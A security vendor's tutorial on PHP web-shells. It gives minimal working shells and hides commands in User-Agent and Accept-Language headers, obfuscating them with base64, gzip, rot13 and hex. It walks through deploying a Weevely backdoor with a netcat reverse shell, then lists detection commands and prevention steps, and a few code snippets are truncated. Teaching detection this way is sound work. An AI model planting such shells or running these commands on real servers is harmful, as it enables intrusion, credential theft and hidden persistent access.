An Introduction to Web-shells


A web-shell is a malicious script used by an attacker with the intent to escalate and maintain persistent access on an already compromised web application. Web-shells cannot attack or exploit a remote vulnerability, so it is always the second step of an attack (this stage is also referred to as post-exploitation).

An attacker can take advantage of common vulnerabilities such as SQL injection, remote file inclusion (RFI), FTP, or even use cross-site scripting (XSS) as part of a social engineering attack in order to upload the malicious script. The common functionality includes but is not limited to shell command execution, code execution, database enumeration and file management.

Why Use Web-shells?

Persistent Remote Access

A web-shell usually contains a backdoor which allows an attacker to remotely access and possibly, control a server at any time. This would save the attacker the inconvenience of having to exploit a vulnerability each time access to the compromised server is required.

An attacker might also choose to fix the vulnerability themselves, in order to ensure that no one else will exploit that vulnerability. This way the attacker can keep a low-profile and avoid any interaction with an administrator, while still obtaining the same result.

It is also worth mentioning that several popular web shells use password authentication and other techniques to ensure that only the attacker uploading the web-shell has access to it. Such techniques include locking down the script to a specific custom HTTP header, specific cookie values, specific IP addresses, or a combination of these techniques. Most web shells also contain code to identify and block search engines from listing the shell and, as a consequence, blacklisting the domain or server the web application is hosted on – in other words, stealth is key.

Privilege Escalation

Unless a server is misconfigured, the web shell will be running under the web server’s user permissions, which are (or, at least, should be) limited. Using a web-shell, an attacker can attempt to perform privilege escalation attacks by exploiting local vulnerabilities on the system in order to assume root privileges, which, in Linux and other UNIX-based operating systems is the ‘super-user’.

With access to the root account, the attacker can essentially do anything on the system including installing software, changing permissions, adding and removing users, stealing passwords, reading emails and more.

Pivoting and Launching Attacks

A web-shell can be used for pivoting inside or outside a network. The attacker might want to monitor (sniff) the network traffic on the system, scan the internal network to discover live hosts, and enumerate firewalls and routers within the network.

This process can take days, even months, predominantly because an attacker typically seeks to keep a low profile, and draw the least amount of attention possible. Once an attacker has persistent access, they can patiently make their moves.

The compromised system can also be used to attack or scan targets that reside outside the network. This adds an additional layer of “anonymity” to the attacker since they are using a 3rd party system to launch an attack. A step further would be to pivot (tunnel) through multiple systems to make it almost impossible to trace an attack back to its source.


Another use of web-shells is to make servers part of a botnet. A botnet is a network of compromised systems that an attacker would control, either to use themselves, or to lease to other criminals. The web-shell or backdoor is connected to a command and control (C&C) server from which it can take commands on what instructions to execute.

This setup is commonly used in distributed-denial-of-service (DDoS) attacks, which require expansive amounts of bandwidth. In this case, the attacker does not have any interest in harming, or stealing anything off-of the system upon which the web shell was deployed. Instead, they will simply use its resources for whenever is needed.

Web-shells 101 using PHP

Web shells exist for almost every web programming language you can think of. We chose to focus on PHP because it is the most widely-used programming language on the web.

PHP web shells do nothing more than use in-built PHP functions to execute commands. The following are some of the most common functions used to execute shell commands in PHP.


The system() function accepts the command as a parameter and it outputs the result.

The following example on a Microsoft Windows machine will run the dir command to return a directory listing of the directory in which the PHP file is executing in.

// Return the directory listing in which the file run (Windows)

--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

04/27/2016 10:21 PM <DIR> .
04/27/2016 10:21 PM <DIR> ..
04/27/2016 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free

Similarly, executing the ls command on a Linux machine achieves a similar result.

// Return the directory listing in which the file run (Linux)
system("ls -la");

--> total 12
drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Apr 27 20:41 shell.php

Other commands have the same effect.

// Return the user the script is running under

--> www-data


The exec() function accepts a command as a parameter but does not output the result. If second optional parameter is specified, the result will be returned as an array. Otherwise, only the last line of the result will be shown if echoed.

// Executes, but returns nothing
exec("ls -la");


Using echo with the exec() function, will only print the last line of the command’s output.

// Executes, returns only last line of the output
echo exec("ls -la");

--> -rw-rw-r-- 1 secuser secuser 29 Apr 27 20:49 shell.php

If a second parameter is specified, the result is returned in an array.

// Executes, returns the output in an array
exec("ls -la",$array);

--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Apr 27 20:54 shell.php )


The shell_exec() function is similar to exec(), however, instead, it outputs the entire result as a string.

// Executes, returns the entire output as a string
echo shell_exec(“ls -la“);
--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Apr 28 18:24 shell.php


The passthru() function executes a command and returns output in raw format.

// Executes, returns output in raw format
passsthru(“ls -la“);

--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Apr 28 18:23 shell.php


The proc_open() function can be difficult to understand (you can find a detailed description of the function in the PHP docs). Put simply, by using proc_open() we can create a handler (process) which will be used for the communication between our script and the program we want to run.

preg_replace() with the /e modifier

The preg_replace() function can perform a regular expression search and replace. The /e modifier (which is deprecated), executes the replacement with eval(). This means we can then pass PHP code to be executed by the eval() function.

preg_replace('/.*/e', 'system("whoami");', '');

--> www-data

web shells image 1


Surprisingly, not many PHP developers are aware of this, however, PHP will execute the contents of backticks ( ` ) as a shell command.

$output = `whoami`;
echo "<pre>$output</pre>";

--> www-data

Based on the above, the following is a PHP web-shell in its simplest form.

<?php system($_GET['cmd']);?>

It uses the system() function to execute commands that are being passed through ‘cmd’ HTTP request GET parameter.

web shells image 2

We have established that these functions (and a few others) can be very dangerous. What is even more dangerous, is that all these in-built PHP commands are enabled by default when PHP is installed, and the majority of system administrators do not disable them.

If you are unsure whether they are enabled on your system, the following command (PHP CLI needs to be installed) will return a list of the dangerous functions which are enabled.

php -r 'print_r(get_defined_functions());' | grep -E ' (system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)'<?php print_r(get_defined_functions()); ?>

On a default installation, we can see that all of the functions mentioned above, are enabled.

[669] => exec
[670] => system
[673] => passthru
[674] => shell_exec
[675] => proc_open
[786] => show_source
[807] => parse_ini_file
[843] => popen

Keeping web shells under cover

Commands can be sent to the web-shell using various methods, with HTTP POST request being the most common. However, hackers are not exactly people who play by the rules. The following are a few of the possible tricks attackers can use to keep web shells under-the-radar.

Modifying headers

Instead of passing the command via $_POST request parameter, they use the user agent string.

<?php system($_SERVER['HTTP_USER_AGENT'])?>

The attacker would then craft specific HTTP requests by placing the command inside of the ‘User-Agent’ HTTP header.

GET /demo/shell.php HTTP/1.1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: cat /etc/passwd
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4

Web shells image 3

The effects of this behavior can be seen in the server log, where, the HTTP ‘User-Agent’ of the second request was replaced by the cat /etc/passwd command. - - [28/Apr/2016:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36" - - [28/Apr/2016:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"

The above method is noisy and can very easily tip off an administrator looking at server logs. The following one though, is not.

<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
GET /demo/shell.php HTTP/1.1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch
Accept-Language: cat /etc/passwd

The method above leaves no visible tracks (at least in the access log) in regards to which command was executed. - - [28/Apr/2016:20:48:05 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

Hidden in plain sight

Most popular PHP shells like c99, r57, b374 and others, use filenames that are well known and will easily raise suspicion. They are blacklisted and can be easily identified. One of the simplest ways that attackers use to hide web shells is to upload them into deep subdirectories and/or by using random names.

A more effective way, is to embed the web shell code into already existing, legitimate, files.

Or in case of a CMS (for example WordPress)


if ( !isset($wp_did_header) ) {
$wp_did_header = true;

// Load the WordPress Core System

// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );

// Set up the WordPress query.

// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );

web shells - hello world


Attackers use various obfuscation techniques in order to avoid being detected by the administrators or by other attackers. They keep coming up with new and more sophisticated ways to hide their code and bypass security systems. Below we will see some of the most common techniques used.


By removing the whitespace from a block of code, it looks like a big string making it less readable and harder to identify what the script does.

// Whitespace makes things easy to read 
function myshellexec($cmd){
 global $disablefunc; $result = "";
 if (!empty($cmd)){
 if (is_callable("exec") && !in_array("exec",$disablefunc)) {
 exec($cmd,$result); $result = join("",$result);
// Whitespace removed makes things harder to read 
function myshellexec($cmd) {global $disablefunc;$result = "";
 if(!empty($cmd)) { if (is_callable("exec") and
 !in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",$result);}}} 


Scrambling is a technique that can be used effectively in combination with others to help a web shell go undetected. It scrambles the code making it unreadable and makes use of various functions that will reconstruct the code when run.

// Scrambled

// Unscrambled
  // base_64 encoded string -> system('ls -la');
  // strrev() reverses a given string:   strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
  // $c = system('ls -la');

Encoding, Compression, and Replacement techniques

Web shells typically make use of additional techniques to hide what they are doing. Below are some common functions PHP-based web shells leverage to go undetected.

  • eval() – A function that evaluates a given string as PHP code.
  • assert() – A function that evaluates a given string as PHP code.
  • base64() – Encodes data with MIME base64 encoding
  • gzdeflate() – Compresses a string using DEFLATE data format. gzinflate() decompresses it
  • str_rot13() – Shifts every letter of a given string 13 places in the alphabet

The following examples all produce the same result, however, an attacker might choose to use more obfuscated techniques in order for the web shell to keep a low profile.

  // Evaluates the string "system('ls -la');" as PHP code
  eval("system('ls -la');");
  // Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
  // Decodes the compressed, ROT13 encoded, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

Web Shells

Using Hex as an obfuscation technique

Hexadecimal values of ASCII characters can also be used to further obfuscate web shell commands.

Let’s take the following string as an example.

system('cat /etc/passwd');

The following is the above string’s value in hexadecimal.


Therefore, the following code can be used to accept a hexadecimal-encoded string and evaluate it as PHP code.

<?php <br ?--> // function that accepts a hex encoded data
function dcd($hex){
// split $hex
for ($i=0; $i < strlen($hex)-1; $i+=2){ 
//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character
$string .= chr(hexdec($hex[$i].$hex[$i+1])); 
// evaluate/execute the command 

To which the output would look similar to the below example.

Web shells image 3

The above examples can all be decoded using various tools, even if they are encoded multiple times. In some cases, attackers may choose to use encryption, as opposed to encoding, in order to make it harder to determine what the web shell is doing.

The following example is simple, yet practical. While the code is not encoded or encrypted, it is still less detectable than previous because it doesn’t use any suspicious function names (like eval() or assert()), lengthy encoded strings, complicated code; and most importantly, it will not set-off any red flags when administrators view logs (to a certain extend).

  // Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'
  //The following will now be equivalent to running -> system('cat /etc/passwd');

web shells

Web Shells in Action

Weevely is a lightweight PHP telnet-like web-shell with several options which we shall be using for this example.

For demonstration purposes, we will use Weevely to create a backdoor agent which will be deployed on the target server. We just need to specify a password and a filename. The password will be used to access the backdoor later on.

root@secureserver2:~/weevely3-master# ./ generate abcd123 agent.php

--> Generated backdoor with password 'abcd123' in 'agent.php' of 1332 byte size.

agent.php contains the following encoded file.

$k='$kh="79cf%";$k%f="%eb94";%%function x(%$t,$k){$c=st%rle%n($%k%);$l=strlen($t);$o';
$X='}^$k{$j};}}%return %$o;%}$%r=$_SERV%ER;$r%r=@$r[%"HTTP_REFE%RER"];$ra%%=';

agent.php is renamed to ma.php and then uploaded to the compromised server. Then instead of accessing the file through the browser, we connect to it using shell.

root@secureserver2:~/weevely3-master# ./ abcd123
--> [+] weevely 3.2.0
[+] Target: www-data@secureserver:/var/www/html
[+] Session: /root/.weevely/sessions/
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

We now have backdoor access to the target server and we can execute commands.

weevely> uname -a

--> Linux secureserver 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

www-data@secureserver:/var/www/html $

By checking the server’s access log, we can notice something odd. - - [29/Apr/2016:12:26:25 +0100] "GET /ma.php HTTP/1.1" 200 395 " 7abT6UoqC&url=168.5.25&ei=2rFeZn7kwtSbAWGxjurE6s&usg=r2jjg09LyElMcPniaayqLqluBIVqUGJvYD&sig2=lhXTdE417RZUTOBuIp6DOC" "Mozilla/5.0 (X11; U; Linux i686; de; rv: Gecko/20100915 Ubuntu/9.10 (karmic)Firefox/3.6.10"

The requests being sent are encoded and also the referrer appears to be Google. If we were to analyze the logs for malicious activity, this might have been confusing since Google is supposedly a legitimate referrer. This is of course part of the web-shell’s behavior to avoid detection.

Another interesting feature of the web-shell we’ve used is the reverse TCP shell option. This means that the compromised server would be making a connection back to us instead or us making a request to the web-shell.

On our source computer we set up a Netcat listener on port 8181

root@secureserver2:~/# nc -l -v -p 8181

--> Listening on [] (family 0, port 8181)

Using our already established backdoor shell connection we initiate a reverse TCP request.

www-data@secureserver:/var/www/html $ :backdoor_reversetcp 8181

A reverse shell connection has been established ( →

Connection from [] port 8181 [tcp/*] accepted (family 2, sport 55370)
$ whoami

--> www-data

Using the reverse TCP shell we can now control the server without any traces to the access or error logs because the communication is occurring over TCP (layer 4) and not on HTTP (layer 7).

Detection and Prevention

If an administrator suspects that a web-shell is present on their system (or during a routine check), the following are some things to examine.

Firstly, the server access and error logs must be filtered for common keywords that are being used by web shells. This includes filenames and/or parameter names. The example below looks for the string ‘file’ in URLs in Apache HTTP Server’s access log

root@secureserver:/var/www/html# cat /var/log/apache2/access.log | awk -F\" ' { print $1,$2 } ' | grep "file"

--> - - [30/Apr/2016:08:30:53 +0100] GET /demo/shell.php?file=/etc/passwd

The filesystem (usually the web server root) must be searched for common strings in files or filenames.

root@secureserver:/var/www/html/demo# grep -RPn "(passthru|exec|eval|shell_exec|assert|str_rot13|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\("

--> Shell.php:8: eval($string);
eval.php:1:?php system($_SERVER['HTTP_USER_AGENT']); ?>
Ad.php:9: eval($string);

Search for very long strings which may indicate encoding. Some backdoors have thousands of lines of code.

root@secureserver:/var/www/html/demo# awk 'length($0)>100' *.php

--> eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//cfWUXldLpKsQ2LCH7EcnuYdrqeqDHEDz+4uJYWH3YLflGUnDJ40DjU/AL1miwEJPpBWlsAxTrgB46jRW/00XpggW00yDI/H1kD7UqxI/3qjQZ4vz7HLsfNVW1BeQKiVH2VTrXtoiaKYdkT4o/p1E8W/n5eVhagV7GanBn0U7OCfD7zPbCQyO0N/QGtstthqJBia5QJsR6xCgkHpBo1kQMlLt6u++SBvtw5KSMwtG4R2yctd0mBNrlB3QQo4aQKGRgRjTa0xYFw1vVM9ySOMd44sSrPe…

Search for modified files in the last X day/s. In the following example we searched for *.php files changed within the last day but it is recommended to search for any file change as a web-shell can also be embedded into an image or any other file.

root@secureserver:/var/www/html/# find -name '*.php' -mtime -1 -ls

--> root@secureserver:/var/www/html/# find -name '*.php' -mtime -1 -ls
2885788 4 drwxrwxr-x 2 secuser secuser 4096 Apr 30 06:590 /demo/shell.php
2886629 4 -rw-rw-r-- 1 secuser secuser 260 Apr 29 11:25 /demo/b.php
2897510 4 -rw-r--r-- 1 root root 35 Apr 29 13:46 /demo/source.php
2883635 4 -rw-r--r-- 1 www-data www-data 1332 Apr 29 12:09 ./ma.php

Monitor network for unusual network traffic and connections.

root@secureserver:/var/www/html/demo# netstat -nputw

--> Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 ESTABLISHED 2150/nc
tcp 0 0 ESTABLISHED 2001/sshd: secuser
tcp6 1 0 ::1:46672 ::1:631 CLOSE_WAIT 918/cups-browsed
tcp6 0 0 ESTABLISHED 1766/apache2
tcp6 1 0 ::1:46674 ::1:631 CLOSE_WAIT 918/cups-browsed

Analyze .htaccess files for modifications. The following are examples of changes an attacker might make to .htaccess files.

# The AddType directive maps the given filename extensions onto the specified content type
AddType application/x-httpd-php .htaccess
AddType application/x-httpd-php .jpg


The following is a non-exhaustive list of preventive measures to take in relation to web-shells.

  1. If not used, disable potentially dangerous PHP functions such as exec(), shell_exec(), passthru(), system(), show_source(), proc_open(), pcntl_exec(), eval() and assert()
  2. If it’s an absolute necessity to have those commands enabled, make sure that unauthorized users do not have access to these scripts. Additionally, use escapeshellarg() and escapeshellcmd() to ensure that user input can not be injected into shell commands, resulting in command execution vulnerabilities.
  3. If your web application is using upload forms make sure they are secure and that they only allow whitelisted file types to be uploaded.
  4. Never trust user input
  5. Do not blindly use code that you may find on online forums or websites.
  6. In the case of WordPress, try to avoid installing third-party plugins if you do not need them. If you need to make use of a plugin, ensure it is reputable and frequently updated.
  7. Disable PHP execution in sensitive directories like images or uploads
  8. Lock-down web server’s user permissions

Final Remarks

As we have seen, coding and using a web-shell is not difficult. Unfortunately, many web servers are setup in such a way where even a simple script is enough to cause significant damage. This is the main reason as to why there are thousands of publicly available web-shells. The fact that so many variations exist, make it difficult for intrusion detection and intrusion prevention systems (IDS/IPS) to detect them; especially if they are using signatures to detect such web shells. Some web-shells are very sophisticated and they are almost impossible to be detected, even with behavioral analysis.

Having said this, early on in this article series, we had established that web-shells are post-exploitation tools. This means that the best way to prevent exploitation, is to prevent them from being uploaded in the first place.

Since Acunetix tests websites and web applications for thousands of vulnerabilities, including code execution and arbitrary file upload vulnerabilities, it can find entry points that could allow attackers to upload web-shells before an attacker would.

Additionally, when making using Acunetix’ AcuSensor Technology, since a sensor is deployed inside the web application, the scanner can retrieve a list of files on the server back-end, meaning that the scanner can detect web shells and other malicious scripts even if they are buried deep within directories.